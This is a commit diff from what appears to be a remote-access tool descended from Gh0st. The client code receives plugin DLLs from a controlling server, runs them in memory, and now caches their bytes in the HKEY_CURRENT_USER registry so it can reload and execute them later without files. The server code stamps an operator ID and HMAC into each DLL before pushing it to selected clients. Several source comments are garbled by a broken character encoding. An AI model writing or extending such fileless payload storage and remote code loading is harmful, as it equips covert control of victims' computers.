Improve: Save DLL data to registry

This commit is contained in:
yuanyuanxiang
2025-07-12 14:24:35 +08:00
parent d8e9d40b0b
commit 45e7950bb7
3 changed files with 114 additions and 11 deletions

View File

@@ -265,13 +265,31 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
const char* md5 = info->Md5; const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5); auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) { if (find == m_MemDLL.end() && ulLength == sz) {
// <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><D0B0><EFBFBD>DLL<4C><4C><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>˼<EFBFBD><CBBC><EFBFBD><E2B1BE><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><D0B4><EFBFBD> iniFile cfg(CLIENT_PATH);
m_ClientObject->Send2Server((char*)szBuffer, ulLength); auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
break; if (md5.empty() || md5 != info->Md5) {
// <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><D0B0><EFBFBD>DLL<4C><4C><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>˼<EFBFBD><CBBC><EFBFBD><E2B1BE><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
break;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
find = m_MemDLL.find(md5);
} }
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
if (md5[0]) m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size); if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
Mprintf("Save DLL to registry: %s\n", md5);
}
data = szBuffer + sz; data = szBuffer + sz;
} }
if (data) { if (data) {

View File

@@ -124,3 +124,87 @@ public:
} }
} }
}; };
class binFile : public config
{
private:
HKEY m_hRootKey;
std::string m_SubKeyPath;
public:
~binFile() {}
binFile(const std::string& path = CLIENT_PATH)
{
m_hRootKey = HKEY_CURRENT_USER;
m_SubKeyPath = path;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>дΪ<D0B4><CEAA><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD>
bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override
{
return SetBinary(MainKey, SubKey, reinterpret_cast<const BYTE*>(&Data), sizeof(int));
}
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Ʒ<EFBFBD>ʽ<EFBFBD><CABD>
bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override
{
return SetBinary(MainKey, SubKey, reinterpret_cast<const BYTE*>(Data.data()), static_cast<DWORD>(Data.size()));
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>
std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override
{
std::vector<BYTE> buffer;
if (!GetBinary(MainKey, SubKey, buffer))
return def;
return std::string(buffer.begin(), buffer.end());
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ƽ<EFBFBD><C6BD><EFBFBD><EFBFBD><EFBFBD>
int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override
{
std::vector<BYTE> buffer;
if (!GetBinary(MainKey, SubKey, buffer) || buffer.size() < sizeof(int))
return defVal;
int value = 0;
memcpy(&value, buffer.data(), sizeof(int));
return value;
}
private:
bool SetBinary(const std::string& MainKey, const std::string& SubKey, const BYTE* data, DWORD size)
{
std::string fullPath = m_SubKeyPath + "\\" + MainKey;
HKEY hKey;
if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS)
return false;
bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_BINARY, data, size) == ERROR_SUCCESS);
RegCloseKey(hKey);
return bRet;
}
bool GetBinary(const std::string& MainKey, const std::string& SubKey, std::vector<BYTE>& outData)
{
std::string fullPath = m_SubKeyPath + "\\" + MainKey;
HKEY hKey;
if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
DWORD dwType = 0;
DWORD dwSize = 0;
if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, NULL, &dwSize) != ERROR_SUCCESS || dwType != REG_BINARY)
{
RegCloseKey(hKey);
return false;
}
outData.resize(dwSize);
bool bRet = (RegQueryValueExA(hKey, SubKey.c_str(), NULL, NULL, outData.data(), &dwSize) == ERROR_SUCCESS);
RegCloseKey(hKey);
return bRet;
}
};

View File

@@ -221,28 +221,29 @@ DllInfo* ReadPluginDll(const std::string& filename) {
// 分配缓冲区: CMD + DllExecuteInfo + size // 分配缓冲区: CMD + DllExecuteInfo + size
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize]; BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
if (!file.read(reinterpret_cast<char*>(buffer + 1 + sizeof(DllExecuteInfo)), fileSize)) { BYTE* dllData = buffer + 1 + sizeof(DllExecuteInfo);
if (!file.read(reinterpret_cast<char*>(dllData), fileSize)) {
Mprintf("读取文件失败: %s\n", filename.c_str()); Mprintf("读取文件失败: %s\n", filename.c_str());
delete[] buffer; delete[] buffer;
return nullptr; return nullptr;
} }
if (!IsDll64Bit(buffer + 1 + sizeof(DllExecuteInfo))) { if (!IsDll64Bit(dllData)) {
Mprintf("不支持32位DLL: %s\n", filename.c_str()); Mprintf("不支持32位DLL: %s\n", filename.c_str());
delete[] buffer; delete[] buffer;
return nullptr; return nullptr;
} }
std::string masterHash(skCrypt(MASTER_HASH)); std::string masterHash(skCrypt(MASTER_HASH));
int offset = MemoryFind((char*)buffer + 1 + sizeof(DllExecuteInfo), masterHash.c_str(), fileSize, masterHash.length()); int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
if (offset != -1) { if (offset != -1) {
std::string masterId = GetPwdHash(), hmac = GetHMAC(); std::string masterId = GetPwdHash(), hmac = GetHMAC();
if(hmac.empty()) if(hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC"); hmac = THIS_CFG.GetStr("settings", "HMAC");
memcpy((char*)buffer + 1 + sizeof(DllExecuteInfo)+offset, masterId.c_str(), masterId.length()); memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
memcpy((char*)buffer + 1 + sizeof(DllExecuteInfo) + offset + masterId.length(), hmac.c_str(), hmac.length()); memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
} }
// 设置输出参数 // 设置输出参数
auto md5 = CalcMD5FromBytes(buffer + 1 + sizeof(DllExecuteInfo), fileSize); auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, }; DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, };
memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length()); memcpy(info.Md5, md5.c_str(), md5.length());
@@ -2659,7 +2660,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
Buffer* buf = m_DllList[menuIndex]->Data; Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo)); ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo) );
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }